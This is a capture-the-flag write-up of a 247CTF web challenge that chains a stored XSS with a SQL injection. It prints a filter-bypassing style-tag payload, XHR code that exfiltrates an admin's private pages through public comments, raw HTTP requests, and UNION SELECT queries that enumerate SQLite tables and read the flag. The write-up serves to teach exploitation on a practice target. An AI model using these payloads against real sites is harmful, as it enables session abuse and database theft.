This is one of the hardest rated web challenges on the 247CTF platform. The challenge consists of exploiting an XSS that allows an unauthenticated user to access internal, private parts of the application, such as a vulnerable search form. This form can later be exploited to extract the flag from the database.

The application is simple, it has multiple users which you can view, and comment on. The only user you cannot access is the user with id 0. We can assume this user is the administrator, as upon attempting to access the page, we are told we can only access the page if originating from localhost.

There is also a report button, which comes with the following information that may aid in the exploitation of the initial XSS.

To confirm an XSS exists, we can simply create a comment that contains angle brackets, and see if they are HTML encoded. XSS' may appear in many different contexts, although this one specifically is in the contents of the comment's "p" tags, meaning we need a way to create our own tags.

When we try to input our own tags, such as a script tag, we get the following error message. This indicates that anything within angle brackets is blocked, however, not all is lost, as there may be a whitelist that allows certain tags for advanced customization of the comments.

We find that the style tag is allowed, this is not uncommon within comment sections, as the idea is to provide users with some extra flexibility when expressing themselves.

The style tag can be combined with event handlers to run javascript code maliciously.

<style onload=alert();></style>

From this base payload, we can further develop the exploit to decode a base64 string we provide, and then run said string as javascript code, using the eval() function.

<style onload=eval(atob("YWxlcnQoMTIzKQo="));></style>

We confirm our base payload is working, but there is another issue. In the initial alert that appears when trying to report a post, the admin mentions there is no outbound access. We need another way to exfiltrate the information that the XSS' requests return, such as a public comments section.

We can attempt this idea with a basic XHR payload, as follows:

var xhr = new XMLHttpRequest();
xhr.open("POST","/comment/2",true);
var params = "comment=Working!";
xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
xhr.send(params);

Base64 encoded and inserted into our base payload:

<style onload=eval(atob("dmFyIHhociA9IG5ldyBYTUxIdHRwUmVxdWVzdCgpOwp4aHIub3BlbigiUE9TVCIsIi9jb21tZW50LzIiLHRydWUpOwp2YXIgcGFyYW1zID0gImNvbW1lbnQ9V29ya2luZyEiOwp4aHIuc2V0UmVxdWVzdEhlYWRlcigiQ29udGVudC10eXBlIiwgImFwcGxpY2F0aW9uL3gtd3d3LWZvcm0tdXJsZW5jb2RlZCIpOwp4aHIuc2VuZChwYXJhbXMpOwo="));></style>

We then post the comment:

POST /comment/1 HTTP/1.1
Host: 8fe3af086a5bab8f.247ctf.com
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:84.0) Gecko/20100101 Firefox/84.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 272
Origin: https://8fe3af086a5bab8f.247ctf.com
Connection: close
Referer: https://8fe3af086a5bab8f.247ctf.com/user/1

comment=<style+onload%3deval(atob("dmFyIHhociA9IG5ldyBYTUxIdHRwUmVxdWVzdCgpOwp4aHIub3BlbigiUE9TVCIsIi9jb21tZW50LzIiLHRydWUpOwp2YXIgcGFyYW1zID0gImNvbW1lbnQ9V29ya2luZyEiOwp4aHIuc2V0UmVxdWVzdEhlYWRlcigiQ29udGVudC10eXBlIiwgImFwcGxpY2F0aW9uL3gtd3d3LWZvcm0tdXJsZW5jb2RlZCIpOwp4aHIuc2VuZChwYXJhbXMpOwo%3d"))%3b></style>

And finally report it, so that the admin vists the page:

GET /report/1 HTTP/1.1
Host: 8fe3af086a5bab8f.247ctf.com
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:84.0) Gecko/20100101 Firefox/84.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Connection: close
Referer: https://8fe3af086a5bab8f.247ctf.com/user/1

Upon accessing /user/2, we notice that a post has appeared on the profile with the contents specified within our payload. Now we need to get the admin to post their own private page's contents on a public wall.

For the payload development, it is better if we use pages that we have access to ourselves, so we can debug the exploit as necessary. The following payload defines two XHR objects, uses one to send a GET request to /user/3, it then waits for the response, and assigns it to another variable called responsefrompage. It then creates another request, this time a POST request, to send a comment to the page of a publicly accessible user, in my case, I chose user 2. Within the request, I made sure the contents of the page are first base64 encoded, and then URL encoded, before being sent to the public page's comments section. Note I also manually added the content-type header for the application to properly understand the post request.

var xhr = new XMLHttpRequest();
var xhr2 = new XMLHttpRequest();
xhr.open("GET", "/user/3", true);
xhr.send();
xhr.onload = function(){
var responsefrompage = xhr.response;
xhr2.open("POST","/comment/2",true);
var params = "comment=" + encodeURI(btoa(responsefrompage));
xhr2.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
xhr2.send(params);}

We then base64 encode the payload, and insert it into our original XSS.

var xhr = new XMLHttpRequest();
var xhr2 = new XMLHttpRequest();
xhr.open("GET", "/user/0", true);
xhr.send();
xhr.onload = function(){
var responsefrompage = xhr.response;
xhr2.open("POST","/comment/2",true);
var params = "comment=" + encodeURI(btoa(responsefrompage));
xhr2.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
xhr2.send(params);}

We get the base64 posted on /user/2, and after some adjustments / decoding, we notice a secret administrator search function that we don't have access to as the normal user. We can test the secret search field for common server-side vulnerabilities such as command injection, server-side template injections, or SQL Injections. Also note that the search bar requires IDs meaning, if it is vulnerable, it is most likely SQL Injection.

We make a new payload, that instead of accessing the /user/0 site, it sends a post request to the newly discovered endpoint, labelled /secret_admin_search.

var xhr = new XMLHttpRequest();
var xhr2 = new XMLHttpRequest();
xhr.open("POST", "/secret_admin_search", true);
xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
var parameters = "search=" + encodeURI("{{'7;id'*7}}");
xhr.send(parameters);
xhr.onload = function(){
var responsefrompage = xhr.response;
xhr2.open("POST","/comment/2",true);
var params = "comment=" + encodeURI(btoa(responsefrompage));
xhr2.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
xhr2.send(params);}

Upon retrieving the response from user 2, we can base64 decode the contents and find that the search bar is in fact vulnerable to SQL Injections, as we are presented with the following SQL error:

{"message":"SQLite error: unrecognized token: \"{\"","result":"error"}

My first thought is a basic UNION SELECT SQL Injection, so I insert the payload into the XSS, and resend the series of requests.

{"message":"SQLite error: SELECTs to the left and right of UNION do not have the same number of result columns","result":"error"}

According to the error, we need to start bruteforcing columns, and reach the conclusion that the correct amount necessary is 6. This error essentially means that the UNION SELECT has failed, since the "main" part of the query returned 6 columns, but the UNION SELECT matched an amount != 6, and after we obtain the correct amount, we see the following response:

{"message":[[1,2,3,4,5,6],[1,"Michael Owens",14,22,3,"Sydney, Australia"]],"result":"success"}

Perfect, we can see an array from 1-6, which is what our UNION SELECT returned, followed by one of the user's details. This SQL Injection can be abused to completely map out the database, and hopefully leak sensitive information, such as the flag.

First, we list the tables that exist within the DBMS, the easiest way to do this is to select all tables from the SQLite_master database, specifying that the query should ignore any table that starts with sqlite_.

1 UNION SELECT 1,2,3,4,5,name FROM  sqlite_master WHERE  type ='table' AND  name NOT LIKE 'sqlite_%'; -- -

This works brilliantly, and we can decode the response to find that a table called "comment" exists, another called "flag", and another called "user". Flag is the table of interest.

Our final exploit turns out to be an XSS which makes requests on behalf of the admin to leak the flag from a separate table using a secret administrator search function, as shown below:

var xhr = new XMLHttpRequest();
var xhr2 = new XMLHttpRequest();
xhr.open("POST", "/secret_admin_search", true);
xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
var parameters = "search=" + encodeURI("1 UNION SELECT 1,2,3,4,5,flag FROM flag; -- -");
xhr.send(parameters);
xhr.onload = function(){
var responsefrompage = xhr.response;
xhr2.open("POST","/comment/2",true);
var params = "comment=" + encodeURI(btoa(responsefrompage));
xhr2.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
xhr2.send(params);}

Our final response reveals the flag, and we complete the challenge.

{"message":[[1,2,3,4,5,"247CTF{XXXXXX}"],[1,"Michael Owens",14,22,3,"Sydney, Australia"]],"result":"success"}